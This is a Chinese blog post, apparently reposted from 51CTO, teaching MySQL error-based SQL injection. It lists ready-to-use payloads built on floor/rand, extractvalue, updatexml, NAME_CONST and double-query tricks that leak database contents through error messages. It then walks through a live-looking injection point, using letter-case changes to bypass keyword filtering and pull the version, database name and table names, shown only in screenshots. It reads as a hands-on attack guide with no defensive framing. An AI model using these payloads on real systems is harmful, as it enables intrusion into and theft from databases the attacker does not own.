天天看点

SQL注入之mysql显错注入

    在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。

<a href="https://s3.51cto.com/wyfs02/M02/A4/6E/wKioL1mrZdiAlu2WAAHAigyM4E8873.jpg-wh_500x0-wm_3-wmp_4-s_1890801678.jpg" target="_blank"></a>

图1 获取数据库失败

    此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。

    通过floor报错:

1

<code>and</code> <code>select</code> <code>1 </code><code>from</code> <code>(</code><code>select</code> <code>count</code><code>(*),concat(version(),floor(rand(0)*2))x </code><code>from</code> <code>information_schema.tables </code><code>group</code> <code>by</code> <code>x)a)</code>

<code>and</code> <code>(</code><code>select</code> <code>count</code><code>(*) </code><code>from</code> <code>(</code><code>select</code> <code>1 </code><code>union</code> <code>select</code> <code>null</code> <code>union</code> <code>select</code>  <code>!1)x </code><code>group</code> <code>by</code> <code>concat((</code><code>select</code> <code>version()),floor(rand(0)*2)))</code>

    通过ExtractValue报错:

<code>and</code> <code>extractvalue(1, concat(0x7f, (</code><code>select</code> <code>version()),0x7f))</code>

    通过UpdateXml报错:

<code>and</code> <code>1=(updatexml(1,concat(0x7f,(</code><code>select</code> <code>version()),0x7f),1))</code>

    通过NAME_CONST报错:

<code>and</code> <code>1=(</code><code>select</code> <code>* </code><code>from</code> <code>(</code><code>select</code> <code>NAME_CONST(version(),1),NAME_CONST(version(),1)) </code><code>as</code> <code>x)</code>

    通过错误的双重查询:

<code>or</code> <code>1 </code><code>group</code> <code>by</code> <code>concat_ws(0x7f,version(),floor(rand(0)*2)) </code><code>having</code> <code>min</code><code>(0) </code><code>or</code> <code>1</code>

    在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。

<a href="https://s4.51cto.com/wyfs02/M02/A4/6F/wKioL1mrbU-C0a8RAACQAXA8D38440.jpg-wh_500x0-wm_3-wmp_4-s_1012095351.jpg" target="_blank"></a>

图2 显错注入点

    此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。

<a href="https://s3.51cto.com/wyfs02/M01/A4/6F/wKioL1mrbkbjMtwoAAC9-K9ywNk540.jpg-wh_500x0-wm_3-wmp_4-s_3026743414.jpg" target="_blank"></a>

图3 获取数据库版本信息

    获取数据库名,如图4所示。

<a href="https://s5.51cto.com/wyfs02/M02/05/BD/wKiom1mrcKGjroMaAAC42nt38yI886.jpg-wh_500x0-wm_3-wmp_4-s_1853663715.jpg" target="_blank"></a>

图4 获取数据名

    获取表名,如图5所示。

<a href="https://s4.51cto.com/wyfs02/M01/05/BE/wKiom1mrcVKToMzTAAEBa6GYeo8084.jpg-wh_500x0-wm_3-wmp_4-s_2795074839.jpg" target="_blank"></a>

图5 获取表名

本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1962253